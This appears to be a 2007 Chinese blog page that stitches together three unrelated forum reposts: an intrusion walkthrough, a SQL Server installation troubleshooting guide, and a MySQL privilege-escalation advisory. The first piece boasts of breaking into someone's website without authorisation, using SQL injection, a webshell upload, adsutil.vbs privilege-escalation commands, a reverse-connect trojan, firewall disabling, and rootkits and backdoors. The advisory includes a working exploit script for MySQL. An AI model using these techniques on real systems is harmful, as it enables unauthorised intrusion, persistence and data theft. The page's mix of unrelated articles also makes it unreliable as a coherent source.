星期一, 二月 12, 2007

黑客实战之对一有防火墙机器的渗透

黑客实战之对一有防火墙机器的渗透

作者:Linzi 来源:赛迪网安全社区

前几天群里的兄弟给了一个网站www.111.com,问我可不可以入侵。

一、踩点

ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。

二、注入

从源文件里搜索关键字asp,找到了一个注入点。用nbsi注入,发现是sa口令登陆,去加了一个用户,显示命令完成。哈哈,看来管理员太粗心了。先上传一个webshell,上传了一个老兵的asp木马。接下来的就是个人习惯了,我平时入侵的习惯是先上传webshell,然后再把webshell提升为system权限。因为这样说可以说在入侵之时会非常的方便,我个人觉得这个方法非常好。

三、提升权限

先看哪些特权的:

cs cript C:\Inetpub\AdminS cripts\adsutil.vbs get /W3SVC/InProcessIsapiApps

得到:

Microsoft (R) Windows 脚本宿主版本 5.1 for Windows

版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

InProcessIsapiApps : (LIST) (5 Items)

"C:\WINNT\system32\idq.dll"

"C:\WINNT\system32\inetsrv\httpext.dll"

"C:\WINNT\system32\inetsrv\httpodbc.dll"

"C:\WINNT\system32\inetsrv\ssinc.dll"

"C:\WINNT\system32\msw3prt.dll"

把asp.dll加进去:

cs cript C:\Inetpub\AdminS cripts\adsutil.vbs

set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32

\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32

\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32

\inetsrv\asp.dll"

然后用asp木马加个用户,显示命令完成。

四、TerminalService

接下来就是开3389了,用net start显示,发现已开了TS服务,但端口上没有3389,觉得可能是改端口了。但事实上它们欺骗我的感情,我用netstat -an察看了一下,发现有3389,再从net start 里发现是对方的防火墙搞的鬼。算了,上传个木马吧,上传了一个改了特征码的20CN反弹木马,然后用木马在GUI下关掉了防火墙,再用3389登陆器登了上去,这里我这样做是因为我知道管理员一定不会在旁边。而对于这个时候,比较老道的方法大家可以用fpipe实现端口重定向,或者用httptunnel。和黑防里面说的那样,不过我试过没有成功过一次,而且我在收集资料里看到黑防的那篇和另外一个高手写的一模一样,不知道谁抄谁。还有一种工具是despoxy,(TCP tunnel for HTTP Proxies)大家有兴趣的话可以去试一下,它可以穿透http代理。

五、简单后门

1.改了FSO名,这样是让我自己享受,这个有system权限的马儿。

2.放了几个rootkit和几个网络上少见的后台。

3.我个从是不喜欢多放后台,觉得很烦。

六、Sniffer

1.TS界面下,下载了些嗅探器。先ARPsniffer图形的看了一下,晕死,没有一台内网机子。又看了一个外网,晕死,整个IP段都是。看来我的运行不错嘛,打开webdavscan查了一下,只有两三个IP是网站,而且是很小型的,接下来就没有什么动力了。

系统安全之安装配置服务器失败的解决

作者:hackmaster 来源:赛迪网安全社区 

安装SQL Server 2000出现如下错误信息:安装文件配置服务器失败。

当你想重装SQL Server,而安装时又出现“您的机子上已经安装有一个实例”的提示时,可以删除program files\Microsoft SQL Server文件夹和注册表信息,再安装。

某某动态链接文件找不到

当出现某某动态链接文件找不到时,可以试着在sql server的安装文件中找到这个文件,复制到系统目录下的system和system32文件夹中(一般在出现这个错误消息时,都会提示哪几个文件夹下缺少这个文件)。

当出现安装程序配置服务器失败时,可以试着用一下方法解决:

此错误消息可以在系统目录下找到,例如我的系统是windowXP,则该文件在C:\WINDOWS

\sqlstp.log。

下面是三种可能的错误:

失败一:

正在与服务?

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H

SQL Server 配置?

13:40:06 Process Exit Code: (-1)

13:40:09 安装程序配置服务器失败。

参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息。

13:40:09 Action CleanUpInstall:

当出现这个错误时,试一下重装系统文件。我的机子是Windows2000,在dos下重新运行Windows2000的安装,然后选择修复,而不是全新安装 。修复系统文件之后,再装sql server,则不会出现此错误消息。

失败二:

正在与服务?

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 未发现数据源

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 未发现数据源

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC 驱动程序 管理器] 未发现数据源

SQL Server 配置?

13:50:07 Process Exit Code: (-1)

13:50:10 安装程序配置服务器失败。

参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息。

13:50:10 Action CleanUpInstall:

当出现这个错误时,是因为在注册表删除了HKEY_LOCAL_MACHINE\SOFTWARE\ODBC中有关sql sever的信息。

失败三:

在与服务?

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?

[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (ReadFile()).

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?

[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (GetOverLappedResult()).

driver={sql server};server=ZHL;UID=sa;PWD=;database=master

[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?

[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (GetOverLappedResult()).

SQL Server 配置?

17:17:41 Process Exit Code: (-1)

17:17:45 安装程序配置服务器失败。

参考服务器错误日志和C:\WINDOWS\sqlstp.log 了解更多信息。

当出现这个错误时,是因为在注册表删除了HKEY_LOCAL_MACHINE\SOFTWARE\ODBC中有关sql sever的内容。这时可以选择修复注册表,或安装ODBC修复工具。

通过查看我的机器上生成的sqltp.log文件,发现是第二种错误。

我在“管理工具”下的“数据源(ODBC)” 中没有找到安装ODBC Driver相关内容。产生这个问题的原因是某些使用ODBC数据源的程序,在卸载的时候,会将ODBC Driver的信息都删除掉。

事实上,我们只需要用odbcconf.exe来重新注册一下ODBC Driver就可以了。

在Windows/System32目录下有几个脚本文件,可以来完成驱动程序的注册:

odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\mdaccore.rsp

odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\sqlclnt.rsp

odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\odbcconf.rsp

odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\redist.rsp

通过在dos命令行中运行上述命令,则注册好了ODBC驱动程序。

Odbc是好了,但是再一次重装sql又出现了和第一次同样的问题,我开始有点泄气,后来我把安装盘放进去看了下,发现安装的时候有个高级选项,我点开一看,有rebuild注册表的选项,于是我把注册表备份了一份之后,选择这个选项又做了一次,结果这次我的sql居然可以用了。足足高兴了好几天。

如果经过“高级选项”还不能成功,则建议大家再次运行SQL Server安装程序,这次选择“对现有SQL Server实例进行升级、删除或添加组件”项,“向现有安装中添加组件”。安装完成后运行“企业管理器”,若用户选择的身份验证为:“SQL Server和Windows”,并且在“高级选项”安装过程输入了用户自定义的秘密(注意,在进行“添加组件安装”过程中,将不选择身份验证方式) 中则注册SQL Server时可能会出现如下问题:

---------------------------

SQL Server 企业管理器

---------------------------

未能建立与 ZOU 的连接。

原因:用户 'sa' 登录失败。请验证 SQL Server 是否在运行,并检查SQL Server注册属性(通过右击 ZOU 节点),然后重试。

---------------------------

确定

---------------------------

如果大家在“新建SQL Server注册”时,将sa密码为空时则能成功注册。难道是“添加组件安装”过程中将原来安装时设置的sa密码进行了修改,设为空。

MySQL权限提升及安全限制绕过漏洞

作者:dj5221314 来源:黑客基地

受影响系统:

MySQL AB MySQL

$ mysql -h my.mysql.server -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;

ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple;

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1;

drop database if exists mysqltest2;

drop function if exists f_suid;

--enable_warnings

# Prepare playground

create database mysqltest1;

create database mysqltest2;

create user malory@localhost;

grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0;

grant execute on function test.f_suid to malory@localhost;

use mysqltest2;

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from mysqltest2.t1);

return 0;

end|

delimiter ;|

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil());

select @a, @b;

connection default;

drop user malory@localhost;

drop database mysqltest1;

drop database mysqltest2;

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

没有评论:

推广链接